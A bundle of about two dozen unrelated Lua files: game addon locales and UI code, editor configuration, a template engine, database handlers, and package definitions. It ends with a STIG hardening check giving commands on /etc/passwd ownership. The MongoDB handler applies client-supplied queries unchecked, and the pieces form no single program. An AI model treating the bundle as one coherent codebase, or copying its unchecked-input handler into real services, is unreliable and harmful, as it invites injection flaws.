--[[ Jamba - Jafula's Awesome Multi-Boxer Assistant Copyright 2008 - 2015 Michael "Jafula" Miller License: The MIT License ]]-- local L = LibStub("AceLocale-3.0"):NewLocale( "Jamba-Core", "enUS", true ) L["Slash Commands"] = true L["Team"] = true L["Quest"] = true L["Merchant"] = true L["Interaction"] = true L["Combat"] = true L["Toon"] = true L["Chat"] = true L["Macro"] = true L["Advanced"] = true L["Core"] = true L["Profiles"] = true L[": Profiles"] = true L["Core: Communications"] = true L["Push Settings"] = true L["Push settings to all characters in the team list."] = true L["Push Settings For All The Modules"] = true L["Push all module settings to all characters in the team list."] = true L["A: Failed to deserialize command arguments for B from C."] = function( libraryName, moduleName, sender ) return libraryName..": Failed to deserialize command arguments for "..moduleName.." from "..sender.."." end L["Settings received from A."] = function( characterName ) return "Settings received from "..characterName.."." end L["Team Online Channel"] = true L["Channel Name"] = true L["Channel Password"] = true L["Change Channel (Debug)"] = true L["After you change the channel name or password, push the"] = true L["new settings to all your other characters and then log off"] = true L["all your characters and log them on again."] = true L["Show Online Channel Traffic (For Debugging Purposes)"] = true L["Change Channel"] = true L["Change the communications channel."] = true L["Jamba"] = true L["Jafula's Awesome Multi-Boxer Assistant"] = true L["Copyright 2008-2015 Michael 'Jafula' Miller"] = true L["Made in New Zealand"] = true L["Help & Documentation"] = true L["For user manuals and documentation please visit:"] = true L["http://dual-boxing.com/"] = true L["Special thanks to olipcs on dual-boxing.com for writing the FTL Helper module."] = true L["Advanced Loot by schilm (Max Schilling) - modified by Tehtsuo and Jafula."] = true L["Attempting to reset the Jamba Settings Frame."] = true L["Reset Settings Frame"] = true L["Settings"] = true L["Options"] = true L["Help"] = true L["Team Online Check"] = true L["Assume All Team Members Always Online*"] = true L["Boost Jamba to Jamba Communications**"] = true L["**reload UI to take effect, may cause disconnections"] = true L["*reload UI to take effect"] = true
import "CoreLibs/graphics" import "CoreLibs/timer" local gfx = playdate.graphics local m = { x = 10, y = 10, width = 150, height = 200, is_a_pressed = false, selected = "seed-up", } local labels = { seed = "Seed rate", cell = "Cell size", } function labels:max_width() local width, height = gfx.getTextSize(self.seed) return width end function m:update(state) if not state.menu then return end gfx.setColor(gfx.kColorWhite) gfx.fillRoundRect(self.x, self.y, self.width, self.height, 0.5) gfx.setColor(gfx.kColorBlack) gfx.drawRoundRect(self.x, self.y, self.width, self.height, 0.5) local menu = "*Menu*" local _width, height = gfx.getTextSize(menu) gfx.drawTextAligned(menu, self.x + (self.width / 2), self.y + 2, kTextAlignment.center) self:draw_seed_random(self.x + 5, self.y + height + 2, state.seed_value) local cell_size = state.cell_size if state.next_cell_info and state.next_cell_info.cell_size then cell_size = state.next_cell_info.cell_size end self:draw_cell_size(self.x + 5, self.y + height + 50, cell_size) end function m:draw_up_arrow_button(x, y, is_pressed, is_selected) gfx.drawRoundRect(x, y, 16, 16, 1) if is_selected then gfx.drawRoundRect(x+1, y + 1, 14, 14, 1) end local p1x, p1y = x + 8, y + 4 local p2x, p2y = p1x - 4, p1y + 6 local p3x, p3y = p1x + 3, p1y + 6 gfx.drawTriangle( p1x, p1y, p2x, p2y, p3x, p3y ) if is_pressed then gfx.fillTriangle( p1x, p1y, p2x, p2y, p3x, p3y ) end end function m:draw_down_arrow_button(x, y, is_pressed, is_selected) gfx.drawRoundRect(x, y, 16, 16, 1) if is_selected then gfx.drawRoundRect(x+1, y + 1, 14, 14, 1) end local p1x, p1y = x + 8, y + 11 local p2x, p2y = p1x - 4, p1y - 6 local p3x, p3y = p1x + 3, p1y - 6 gfx.drawTriangle( p1x, p1y, p2x, p2y, p3x, p3y ) if is_pressed then gfx.fillTriangle( p1x, p1y, p2x, p2y, p3x, p3y ) end end function m:draw_text_box(x, y, width, value) local text_width, height = gfx.getTextSize(value) gfx.drawRoundRect(x, y, width, height + 2, 0.8) gfx.drawTextAligned(value, x + width - 3, y + 3, kTextAlignment.right) end function m:draw_seed_random(x, y, seed_value) gfx.drawTextAligned(labels.seed, x, y+9, kTextAlignment.left) self:draw_up_arrow_button(x + labels:max_width() + 3, y, self.selected == "seed-up" and self.is_a_pressed, self.selected == "seed-up") self:draw_down_arrow_button(x + labels:max_width() + 3, y + 20, self.selected == "seed-down" and self.is_a_pressed, self.selected == "seed-down") local seed_text = string.format("%.1f", seed_value) self:draw_text_box(x + labels:max_width() + 23, y + 5, 40, seed_text) end function m:draw_cell_size(x, y, cell_size) gfx.drawTextAligned(labels.cell, x, y+9, kTextAlignment.left) self:draw_up_arrow_button(x + labels:max_width() + 3, y, self.selected == "cell-up" and self.is_a_pressed, self.selected == "cell-up") self:draw_down_arrow_button(x + labels:max_width() + 3, y + 20, self.selected == "cell-down" and self.is_a_pressed, self.selected == "cell-down") local cell_text = string.format("%d", cell_size) self:draw_text_box(x + labels:max_width() + 23, y + 5, 40, cell_text) end function m:a_pressed(state) print("a pressed ", self.selected) self.is_a_pressed = true if self.selected == "seed-up" then state:set_seed_value(math.min(0.9, state.seed_value + 0.1)) elseif self.selected == "seed-down" then state:set_seed_value(math.max(0.1, state.seed_value - 0.1)) elseif self.selected == "cell-up" then state:increment_cell_size() elseif self.selected == "cell-down" then state:decrement_cell_size() end playdate.timer.performAfterDelay(0.3, function() self.is_a_pressed = false end) end function m:up_pressed() print("up pressed", self.selected) if self.selected == "seed-up" then self.selected = "cell-down" elseif self.selected == "seed-down" then self.selected = "seed-up" elseif self.selected == "cell-down" then self.selected = "cell-up" elseif self.selected == "cell-up" then self.selected = "seed-down" end print("new selection", self.selected) end function m:down_pressed() print("down pressed", self.selected) if self.selected == "seed-up" then self.selected = "seed-down" elseif self.selected == "seed-down" then self.selected = "cell-up" elseif self.selected == "cell-up" then self.selected = "cell-down" elseif self.selected == "cell-down" then self.selected = "seed-up" end print("new selection", self.selected) end function m:input_handlers(state) return { AButtonUp = function() m:a_pressed(state) end, upButtonUp = function() m:up_pressed() end, downButtonUp = function() m:down_pressed() end, } end return m
object_mobile_dressed_meatlump_hideout_male_01 = object_mobile_shared_dressed_meatlump_hideout_male_01:new { } ObjectTemplates:addTemplate(object_mobile_dressed_meatlump_hideout_male_01, "object/mobile/dressed_meatlump_hideout_male_01.iff")
object_mobile_som_som_kenobi_blistmok = object_mobile_som_shared_som_kenobi_blistmok:new { } ObjectTemplates:addTemplate(object_mobile_som_som_kenobi_blistmok, "object/mobile/som/som_kenobi_blistmok.iff")
local clock = require 'clock' local fiber = require 'fiber' local fun = require 'fun' local json = require 'json' local log = require 'log' local msgpack = require 'msgpack' local net_box = require 'net.box' local CLIENT_NAME = 'zip' local URL = os.getenv('GRAPHKA_URL') URL = URL or 'localhost:3311' local NULL = msgpack.NULL -- Connect to server log.info(CLIENT_NAME .. ': Connecting to ' .. URL) local conn = net_box.connect(URL) local ok = conn:wait_connected() assert(ok, 'Can not connect to ' .. URL) local ok, result = conn:call('app.rename_session', {CLIENT_NAME}, {}) assert(ok, result) local ok, session = conn:call('app.current_session', {}, {}) assert(ok, session) CLIENT_NAME = CLIENT_NAME .. '#' .. session.id -- Produce messages while true do local name = 'example_zip' -- Get task log.info(string.format('%f %s: Getting task for node %s', clock.time(), CLIENT_NAME, name)) local ok, task = conn:call('app.take_outdated', {name}) assert(ok, task) if task ~= NULL then local state = {} if task.last_message ~= NULL then state.n = task.last_message.content.n + 1 else state.n = 1 end -- fiber.sleep(0.3) -- simulate hard work state.inputs = {} -- Process input messages local offset = 0 for _, message in ipairs(task.input_messages) do -- Add input message to state state.inputs[message.node_name] = message.content.n offset = math.max(offset, message.offset) -- Process messages from state when all inputs have messages if offset > task.offset and fun.iter(task.node.inputs) :all(function(name) return state.inputs[name] end) then log.info(string.format( '%f %s: Adding message #%d with inputs %s to %s with offset %f', clock.time(), CLIENT_NAME, state.n, json.encode(state.inputs), name, offset )) local ok, result = conn:call( 'app.add_message', {task.id, offset, state}) assert(ok, result) end end -- Release task local ok, result = conn:call('app.release_task', {task.id}) assert(ok, result) end end
local path = "qnSwfRes/sfw/red_envelope_wait_fly_swf_pin.png" local red_envelope_wait_fly_swf_pin_map = { ["red_envelope_wait_fly_1.png"] = { file=path, x=2,y=2, width=127,height=127, offsetX=0,offsetY=0, utWidth=127, utHeight=127, rotated=false }, } return red_envelope_wait_fly_swf_pin_map
local mongodb = require("libs/mongodb"); function onRequest(headers, matches, json) local mdbConn = mongodb.new("mongodb://localhost:27017/"):connect(); local collection = mdbConn:getCollection("taplection", "users"); local success, err = collection:update(json.query, json.data); collection:close(); mdbConn:disconnect(); if(success) then return Helix.success({}); else return Helix.error(Helix.Errors.NOT_FOUND, { messsage = err }); end end
C_LFGuildInfo = {} ---@param index number ---@return GuildTabardInfo? tabardInfo ---[Documentation](https://wow.gamepedia.com/API_C_LFGuildInfo.GetRecruitingGuildTabardInfo) function C_LFGuildInfo.GetRecruitingGuildTabardInfo(index) end
Config = Config or {} Config.DownloadTimer = { ["Twitter"] = 5000, ["Twitch"] = 3000, ["Advertisement"] = 4000, ["Cars"] = 5000, } Config.TelfixCommand = "phonenuifix" -- or nil -- Config.Voip = "pma-voice" -- or mumble or pma-voice Config.Webhooks = { ["Camera"] = "changeme", ["Twitter"] = "changeme" } Config.PhoneBackgrounds = { "https://i.imgur.com/pLZQTQ1.jpg", "https://i.imgur.com/d7lS0wV.jpg", "https://i.imgur.com/YeJYy88.jpg", "https://i.imgur.com/gL3HBxC.jpg", "https://i.imgur.com/YLW88QM.jpg", "https://i.imgur.com/EMKIiCg.jpg" } Config.Server = { Photo = "changeme", Name = "WATERMELON" } Config.JobNames = { ["police"] = true, -- police and ambulance app ["ambulance"] = true }
local _, ns = ... local SyLevel = ns.SyLevel function SyLevel:SetFontSettings() SyLevel:UpdateAllPipes() end function SyLevel:GetFontSettings() local db = SyLevelDB.FontSettings return db.typeface, db.size, db.align, db.reference, db.offsetx, db.offsety, db.flags end
-- Setup nvim-cmp. local cmp = require'cmp' local lspkind = require'lspkind' cmp.setup({ snippet = { expand = function(args) -- For `ultisnips` user. vim.fn["UltiSnips#Anon"](args.body) end, }, mapping = { ['<Tab>'] = function(fallback) if cmp.visible() then cmp.select_next_item({cmp.SelectBehavior.Insert}) else fallback() end end, ['<S-Tab>'] = function(fallback) if cmp.visible() then cmp.select_prev_item({cmp.SelectBehavior.Insert}) else fallback() end end, ['<Esc>'] = cmp.mapping.close(), ['<CR>'] = cmp.mapping.confirm({ select = true, behavior = cmp.ConfirmBehavior.Insert }), }, sources = { { name = 'nvim_lsp' }, -- For nvim-lsp { name = 'ultisnips' }, -- For ultisnips user. { name = 'nvim_lua' }, -- for nvim lua function { name = 'path' }, -- for path completion { name = 'buffer', keyword_length = 4 }, -- for buffer word completion { name = 'emoji', insert = true, } -- emoji completion }, completion = { keyword_length = 1, completeopt = "menu,noselect" }, experimental = { ghost_text = false }, formatting = { format = lspkind.cmp_format({ with_text = false, menu = { nvim_lsp = "[LSP]", ultisnips = "[US]", nvim_lua = "[Lua]", path = "[Path]", buffer = "[Buffer]", emoji = "[Emoji]", }, }), }, }) vim.cmd("hi link CmpItemMenu Comment")
local SyntaxKind = require("lunar.ast.syntax_kind") local SyntaxNode = require("lunar.ast.syntax_node") local IndexExpression = setmetatable({}, { __index = SyntaxNode, }) IndexExpression.__index = setmetatable({}, SyntaxNode) function IndexExpression.new(start_pos, end_pos, base, index) return IndexExpression.constructor(setmetatable({}, IndexExpression), start_pos, end_pos, base, index) end function IndexExpression.constructor(self, start_pos, end_pos, base, index) SyntaxNode.constructor(self, SyntaxKind.index_expression, start_pos, end_pos) self.base = base self.index = index return self end return IndexExpression
--[[print(" ") print(" ") print(" ") print(" ") print("GMapRotate init is running!") print(" ") print(" ") print(" ") print(" ") print(" ") ]] AddCSLuaFile( "gmaprotate/cl_nextmap.lua" ) if SERVER then include("sv_gmr_config.lua") include("gmaprotate/sv_nextmap.lua") end if CLIENT then include("gmaprotate/cl_nextmap.lua") end
--region CPoint.lua --Author : jefflwq --Date : 2016/04/24 --่ฏดๆ˜Ž : Point็ฑป --endregion using "Joop" namespace "System.Drawing" { class "CPoint" { -- ๆญค Point ็š„ X ๅๆ ‡ใ€‚ X = false, -- ๆญค Point ็š„ Y ๅๆ ‡ใ€‚ Y = false, -- ๅˆๅง‹ๅŒ– Point ็ฑป็š„ๆ–ฐๅฎžไพ‹ใ€‚ CPoint = function(self, x, y) self.X = x or 0 self.Y = y or 0 end, Empty = function(self) self.X = 0 self.Y = 0 end, GetPoint = function(self) return self.X, self.Y end, -- ่Žทๅ–ไธ€ไธชๅ€ผ๏ผŒ่ฏฅๅ€ผๆŒ‡็คบๆญค Point ๆ˜ฏๅฆไธบ็ฉบใ€‚ -- ่ฟ”ๅ›ž็ป“ๆžœ: -- ๅฆ‚ๆžœ X ๅ’Œ Y ๅ‡ไธบ 0๏ผŒๅˆ™ไธบ true๏ผ›ๅฆๅˆ™ไธบ falseใ€‚ IsEmpty = function(self) return self.X == 0 and self.Y == 0 end, -- ๆŒ‡ๅฎšๆญค Point ๆ˜ฏๅฆไธŽๆŒ‡ๅฎš point ็›ธๅŒใ€‚ Equals = function(self, point) return self.X == point.X and self.Y == point.Y end, -- ๅ…‹้š†ๆญค Pointใ€‚ Clone = function(self) return CPoint(self.X, self.Y) end, -- ๅฐ†ๆญค Point ๅนณ็งปๆŒ‡ๅฎš็š„ Pointใ€‚ Offset = function(self, point) self.X = self.X + point.X self.Y = self.Y + point.Y end, OffsetXY = function(self, x, y) self.X = self.X + x self.Y = self.Y + y end, -- ๅฐ†ๆญค Point ่ฝฌๆขไธบๅฏ่ฏปๅญ—็ฌฆไธฒใ€‚ ToString = function(self) return "X=" .. self.X .. ", Y=" .. self.Y end, } }
net.Receive(amapvote.NetString, function() amapvote.ReceiveVoteStart() end) function amapvote.ReceiveVoteStart() local tbl = net.ReadTable() amapvote.ShowVote(tbl.options, tbl.endTime) end net.Receive(amapvote.ShowWinnerString, function() amapvote.ReceiveVoteResults() end) function amapvote.ReceiveVoteResults() local map = net.ReadString() amapvote.ShowResult(map) end
local path = ... local path_req = path:sub(1, -7) local utf8 = require(path_req .. ".utf8") local util = require(path_req .. ".util") local parse = {} local function stack() local push = function(self, element) table.insert(self, element) end local pop = function (self) if (#self > 0) then return table.remove(self, #self) end end local peek = function (self) if (#self > 0) then return self[#self] end end return {push = push, pop = pop, peek = peek} end local function queue() local enqueue = function(self, element) table.insert(self, element) end local dequeue = function(self) if (#self > 0) then return table.remove(self, 1) end end local peek = function(self) if (#self > 0) then return self[1] end end return {enqueue = enqueue, dequeue = dequeue, peek = peek} end function parse.repl(msg) local queue = queue() local num_loops = 0 while (msg ~= "") do if (num_loops >= 15) then err("Something went horribly wrong (either the parser failed somehow") err("or the variable is nested too deep, >= 15), please report this") return nil end local dot_idx = utf8.find(msg, "%.") or math.huge local bra_idx = utf8.find(msg, "%[") or math.huge local first_idx = math.min(dot_idx, bra_idx) if (dot_idx == 1) then msg = utf8.sub(msg, 2) elseif (bra_idx == 1) then local end_idx = utf8.find(msg, "%]") if (utf8.sub(msg, 2, 2) == "\"") then queue:enqueue(utf8.sub(msg, 3, end_idx - 2)) else queue:enqueue(tonumber(utf8.sub(msg, 2, end_idx - 1))) end msg = utf8.sub(msg, end_idx + 1) else queue:enqueue(utf8.sub(msg, 1, first_idx - 1)) msg = utf8.sub(msg, first_idx) end num_loops = num_loops + 1 end local value while (#queue > 0) do local t = queue:dequeue() if (value == nil) then value = _G[t] else if (type(value) == "table" and value[t] ~= nil) then value = value[t] else value = nil end end end return tostring(value) end local color_tag_open = "|c%x%x%x%x%x%x%x%x" local color_tag_open_len = 10 local color_tag_close = "|r" local color_tag_close_len = 2 -- NOTE (rinqu): the reason why parsed_message looks like it does is because I'm using the functionality of love.graphics.print to handle color printing for me function parse.color(raw_message) local parsed_message = {} local color_stack = stack() local offset_into_raw_message = 1 local raw_message_length = utf8.len(raw_message) while (offset_into_raw_message <= raw_message_length) do local remaining_raw_message = utf8.sub(raw_message, offset_into_raw_message) local color_tag_open_idx = utf8.find(remaining_raw_message, color_tag_open) local color_tag_close_idx = utf8.find(remaining_raw_message, color_tag_close) if (color_tag_open_idx == 1) then local color = utf8.sub(remaining_raw_message, color_tag_open_idx + 2, color_tag_open_idx + 9) color_stack:push("#" .. color) offset_into_raw_message = offset_into_raw_message + color_tag_open_len elseif (color_tag_close_idx == 1) then color_stack:pop() offset_into_raw_message = offset_into_raw_message + color_tag_close_len else local next_color_tag_idx = (color_tag_open_idx or color_tag_close_idx) and math.min(color_tag_open_idx or math.huge, color_tag_close_idx or math.huge) or 0 local color_ = util.to_rgb_table(color_stack:peek() or "#ffffffff") local text = utf8.sub(remaining_raw_message, 1, next_color_tag_idx - 1) or "" table.insert(parsed_message, color_) table.insert(parsed_message, text) offset_into_raw_message = offset_into_raw_message + utf8.len(text) end end if (#parsed_message == 0) then table.insert(parsed_message, util.to_rgb_table("#ffffffff")) table.insert(parsed_message, "") end return parsed_message end function parse.command(command) local command_len = utf8.len(command) local offset_into_command = 1 local parsed_command = {} while (offset_into_command <= command_len) do local remaining_command = utf8.sub(command, offset_into_command) local space_idx = utf8.find(remaining_command, " ") if (space_idx == nil) then table.insert(parsed_command, remaining_command) break elseif (space_idx == 1) then offset_into_command = offset_into_command + 1 else local fragment = utf8.sub(remaining_command, 1, space_idx - 1) table.insert(parsed_command, fragment) offset_into_command = offset_into_command + utf8.len(fragment) end end return parsed_command end return parse
project "c_log" location "." kind "StaticLib" language "C" files { "**.c", "**.h" } includedirs { "_vendor", "." }
local loc = GetLocale() local dbs = { "items", "quests", "quests-itemreq", "objects", "units", "zones", "professions", "areatrigger", "refloot" } local noloc = { "items", "quests", "objects", "units" } -- Patch databases to merge TurtleWoW data local function patchtable(base, diff) for k, v in pairs(diff) do if base[k] and type(v) == "table" then patchtable(base[k], v) elseif type(v) == "string" and v == "_" then base[k] = nil else base[k] = v end end end local loc_core, loc_update for _, db in pairs(dbs) do if pfDB[db]["data-turtle"] then patchtable(pfDB[db]["data"], pfDB[db]["data-turtle"]) end for loc, _ in pairs(pfDB.locales) do if pfDB[db][loc] and pfDB[db][loc.."-turtle"] then loc_update = pfDB[db][loc.."-turtle"] or pfDB[db]["enUS-turtle"] patchtable(pfDB[db][loc], loc_update) end end end loc_core = pfDB["professions"][loc] or pfDB["professions"]["enUS"] loc_update = pfDB["professions"][loc.."-turtle"] or pfDB["professions"]["enUS-turtle"] if loc_update then patchtable(loc_core, loc_update) end if pfDB["minimap-turtle"] then patchtable(pfDB["minimap"], pfDB["minimap-turtle"]) end if pfDB["meta-turtle"] then patchtable(pfDB["meta"], pfDB["meta-turtle"]) end -- Reload all pfQuest internal database shortcuts pfDatabase:Reload() -- Automatically clear quest cache if new turtle quests have been found local updatecheck = CreateFrame("Frame") updatecheck:RegisterEvent("PLAYER_ENTERING_WORLD") updatecheck:SetScript("OnEvent", function() if pfDB["quests"]["data-turtle"] then -- count all known turtle-wow quests local count = 0 for k, v in pairs(pfDB["quests"]["data-turtle"]) do count = count + 1 end pfQuest:Debug("TurtleWoW loaded with |cff33ffcc" .. count .. "|r quests.") -- check if the last count differs to the current amount of quests if not pfQuest_turtlecount or pfQuest_turtlecount ~= count then -- remove quest cache to force reinitialisation of all quests. pfQuest:Debug("New quests found. Reloading |cff33ffccCache|r") pfQuest_questcache = {} end -- write current count to the saved variable pfQuest_turtlecount = count end end)
test = require 'u-test' common = require 'common' function OnXblTitleManagedStatsWriteAsync() -- this fast loop will trigger 429s XblTitleManagedStatsWriteAsync(); end function TitleManagedStatsNoSVD_Handler() XblTitleManagedStatsWriteAsync() end test.skip = true test.TitleManagedStatsNoSVD = function() SetCheckHR(0) common.init(TitleManagedStatsNoSVD_Handler) end
local t = LoadFallbackB(); t[#t+1] = StandardDecorationFromFileOptional("ExplanationFrame","ExplanationFrame"); return t
module(..., package.seeall) local lgstring = require "lgstring" local i18n = require 'bamboo.i18n' _G.translate = i18n.translate local function getlocals(context, depth) local i = 1 while true do local name, value = debug.getlocal(depth, i) if not name then break end context[name] = value i = i + 1 end return context end local function findTemplDir( name ) -- second, find 'project_dir/views/' if posix.access( "views/" + name) then return "views/" else error("Template " + name + " does not exist or wrong permissions.") end end -- template rendering directives local VIEW_ACTIONS = { -- embeding lua sentances ['{%'] = function(code) return code end, -- embeding lua variables ['{{'] = function(code) return ('_result[#_result+1] = %s'):format(code) end, -- containing child template ['{('] = function(code) return ([[ if not _children[%s] then _children[%s] = View(%s) end _result[#_result+1] = _children[%s](getfenv()) ]]):format(code, code, code, code) end, --[[ -- escape tag, to make security ['{*'] = function(code) return ('local http = require("lglib.http"); _result[#_result+1] = http.escapeHTML(%s)'):format(code) end, --]] ['{['] = function(code) -- nothing now return true end, -- template inheritation syntax -- @param code: the base file's name -- @param this_page: the master file rendered ['{:'] = function(code, this_page) local name = deserialize(code) local tmpl_dir = findTemplDir(name) local base_page = io.loadFile(tmpl_dir, name) local starti = 1 local oi, oj = 1, 0 local i, j = 1, 0 local block, matched, block_content local part local parts = {} while true do oi, oj, block = base_page:find("({%[[%s_%w%.%-\'\"]+%]})", oj + 1) if oi == nil then break end block_content = block:sub(3, -3):trim() while true do i, j, matched = this_page:find("(%b{})", j + 1) if i == nil then break end part = matched:match('^{%[%s*====*%s*' + block_content + '%s*====*%s+(.+)%s*%]}$') if part then table.insert(parts, base_page:sub(starti, oi-1)) table.insert(parts, part) starti = oj + 1 break end end end table.insert(parts, base_page:sub(starti, -1)) return table.concat(parts) end, -- insert plugin ['{^'] = function (code) local code = code:trim() assert( code ~= '', 'Plugin name must not be blank.') local divider_loc = code:find('%s') local plugin_name = nil local param_str = nil if divider_loc then plugin_name = code:sub(1, divider_loc - 1) param_str = '{' .. code:sub(divider_loc + 1) .. '}' else -- if divider_loc is nil, means this plugin has no arguments plugin_name = code param_str = "{}" end assert(bamboo.PLUGIN_LIST[plugin_name], ('[Error] plugin %s was not registered.'):format(plugin_name)) return ("_result[#_result+1] = bamboo.PLUGIN_LIST['%s'](%s, getfenv())"):format(plugin_name, param_str) end, ['{-'] = function (code) return "" end, ['{<'] = function (code) local code = code:trim() assert( code ~= '', 'Widget name must not be blank.') local divider_loc = code:find(' ') local widget_name = nil local param_str = nil if divider_loc then widget_name = code:sub(1, divider_loc - 1) param_str = '{' .. code:sub(divider_loc + 1) .. '}' else -- if divider_loc is nil, means this plugin has no arguments widget_name = code param_str = "{}" end assert(bamboo.WIDGETS[widget_name], ('[Error] widget %s was not implemented.'):format(widget_name)) return ("_result[#_result+1] = bamboo.WIDGETS['%s'](%s)"):format(widget_name, param_str) end, ['{_'] = function (code) local code = code:trim() local ret = "" --return ('_result[#_result+1] = "%s"'):format(ret) return '_result[#_result+1] = translate("'..code..'")' end, } local function inheritate(tmpl) -- if there is inherited tag in page, that tag must be put in the front of this file local block = tmpl:match("(%b{})") -- local headtwo = block:sub(1,2) local block_content = block:sub(3, -3) -- assert(headtwo == '{:', 'The inheriate tag must be put in front of the page.') local act = VIEW_ACTIONS['{:'] return act(block_content, tmpl) end -- NOTE: the instance of this class is a function local View = Object:extend { ------------------------------------------------------------------------ -- -- if config.PRODUCTION is true, means it is in production mode, it will only be compiled once every call View() -- else, it is in develop mode, it will be compiled every request coming in, in compile stage and parameter fill stage. -- @param name: the name of the template file -- @return: a function, this function can receive a table to finish the rendering procedure ------------------------------------------------------------------------ init = function (self, name, is_inline) local tmpl if not name then return '' end -- call this to calc languageEnv to i18n. if req then i18n.langcode(req) end if bamboo.config.PRODUCTION then -- if cached -- NOTE: here, 5 is an empiric value bamboo.compiled_views_locals[name] = getlocals({}, 4) local view = bamboo.compiled_views[name] if view and type(view) == 'function' then return view end -- passing tmpl directly if is_inline == 'inline' then -- here, name is the content of html fragment tmpl = name else -- load file local tmpl_dir = findTemplDir(name) tmpl = io.loadFile(tmpl_dir, name) end tmpl = self.preprocess(tmpl) view = self.compileView(tmpl, name) -- add to cache bamboo.compiled_views[name] = view return view else return function (params) -- passing tmpl directly if is_inline == 'inline' then -- here, name is the content of html fragment tmpl = name else local tmpl_dir = findTemplDir(name) tmpl = io.loadFile(tmpl_dir, name) assert(tmpl, "Template " + tmpl_dir + name + " does not exist.") end tmpl = self.preprocess(tmpl) return self.compileView(tmpl, name)(params) end end end; -- preprocess course preprocess = function(tmpl) -- restrict the {: :} at the head of template file, from the first char while tmpl:match('^{:.-:}%s*\n') do tmpl = inheritate(tmpl) end tmpl = tmpl:gsub('%[%[%s*====*%s*([\'\"%w_%-]+)%s*====*%s+(.-)%s*====*%s*%]%]', function (skey, sval) local firstchar = skey:sub(1,1) if firstchar == "'" or firstchar == '"' then skey = skey:sub(2,-2) end bamboo.context[skey] = sval return '' end) return tmpl end; ------------------------------------------------------------------------ -- compile template string to a middle function -- use this function to receive a table to finish rendering to html -- -- this snippet is very concise and powerful! -- @param tmpl: template string read from file -- @param name: template file name -- @return: middle rendering function ------------------------------------------------------------------------ compileView = function (tmpl, name) local tmpl = ('%s{{""}}'):format(tmpl) local code = {'local _result, _children = {}, {}\n'} -- render the rest local text, block for text, block in lgstring.matchtagset(tmpl) do local act = VIEW_ACTIONS[block:sub(1,2)] if act then code[#code+1] = '_result[#_result+1] = [==[' + text + ']==]' code[#code+1] = act(block:sub(3,-3)) elseif #block > 2 then code[#code+1] = '_result[#_result+1] = [==[' + text + block + ']==]' else code[#code+1] = '_result[#_result+1] = [==[' + text + ']==]' end end -- do check before concatate -- if code[i] is nil, it won't be countered -- we must find all viewing bugs in develop mode code[#code+1] = [==[ if not bamboo.config.PRODUCTION then local ctype for i, v in ipairs(_result) do local ctype = type(v) if ctype ~= 'string' or ctype ~= 'number' then _result[i] = tostring(v) end end end ]==] code[#code+1] = 'return table.concat(_result)' code = table.concat(code, '\n') -- print('-----', code) -- recode each middle view code to request if type(name) == 'string' then bamboo.compiled_views_tmpls[name] = code end -- compile the whole string code local func, err = loadstring(code, name) if err then assert(func, err) end return function(context) assert(type(context) == 'table', "You must always pass in a table for context.") -- collect locals if context[1] == 'locals' then context[1] = nil if bamboo.config.PRODUCTION then local locals = bamboo.compiled_views_locals[name] if locals then for k, v in pairs(locals) do if not context[k] then context[k] = v end end end else -- NOTE: here, 4 is empiric value context = getlocals(context, 3) end end -- for global context rendering for k, v in pairs(bamboo.context) do if not context[k] then context[k] = v end end setmetatable(context, {__index=_G}) setfenv(func, context) return func() end end; } return View
local name = "gotk" local version = "0.1.5" local release = "v" .. version local org = "fluxcd" local repo = "toolkit" local url = "https://github.com/" .. org .. "/" .. repo food = { name = name, description = "Kubernetes toolkit for assembling CD pipelines the GitOps way", homepage = "https://toolkit.fluxcd.io/", version = version, packages = { { os = "darwin", arch = "amd64", url = url .. "/releases/download/" .. release .. "/" .. name .. "_" .. version .. "_darwin_amd64.tar.gz", -- shasum of the release archive sha256 = "7a7a5e5d97c51ae9e5cfec589e51e12b3fe333fd27d655ff657b5d3b27de7db5", resources = { { path = name, installpath = "bin/" .. name, executable = true } } }, { os = "linux", arch = "amd64", url = url .. "/releases/download/" .. release .. "/" .. name .. "_" .. version .. "_linux_amd64.tar.gz", -- shasum of the release archive sha256 = "b23fb794b30a0758307858eb3f8f1e336a45b4a08d912b075261c36c17ab0546", resources = { { path = name, installpath = "bin/" .. name, executable = true } } } } }
return { PlaceObj('ModItemCode', { 'name', "LakeComfort", 'FileName', "Code/LakeComfort.lua", }), PlaceObj('ModItemCode', { 'name', "WaterLoss", 'FileName', "Code/WaterLoss.lua", }), PlaceObj('ModItemCode', { 'name', "MoistureVaporatorSucksWater", 'FileName', "Code/MoistureVaporatorSucksWater.lua", }), }
local vim = vim local string_utils = require "lsp_smag.utils.strings" local list_utils = require "lsp_smag.utils.lists" local lsp_provider_names = require "lsp_smag.lsp.provider_names" local lsp_tag_kinds = require "lsp_smag.tags.kinds" local function get_tag_kind_priority_order() local order_as_provider_entries = vim.g.lsp_smag_enabled_providers or {"definition", "declaration", "implementation", "typeDefinition"} local order_as_tag_kinds = {} for _, provider_entry in ipairs(order_as_provider_entries) do local provider_name = lsp_provider_names[provider_entry] local tag_kind = lsp_tag_kinds[provider_name] table.insert(order_as_tag_kinds, tag_kind) end return list_utils.reverse(order_as_tag_kinds) end local function compare_tags(tag_a, tag_b) local kind_a = string_utils.strip(tag_a.kind) local kind_b = string_utils.strip(tag_b.kind) local priority_order = get_tag_kind_priority_order() local priority_a = list_utils.index_of(priority_order, kind_a) local priority_b = list_utils.index_of(priority_order, kind_b) return priority_a > priority_b end local function sort_tags_by_kind(tags) return table.sort(tags, compare_tags) end return { sort_tags_by_kind = sort_tags_by_kind }
id = 'V-38451' severity = 'medium' weight = 10.0 title = 'The /etc/passwd file must be group-owned by root.' description = 'The "/etc/passwd" file contains information about the users that are configured on the system. Protection of this file is critical for system security.' fixtext = [=[To properly set the group owner of "/etc/passwd", run the command: # chgrp root /etc/passwd]=] checktext = [=[To check the group ownership of "/etc/passwd", run the command: $ ls -l /etc/passwd If properly configured, the output should indicate the following group-owner. "root" If it does not, this is a finding.]=] function test() end function fix() end
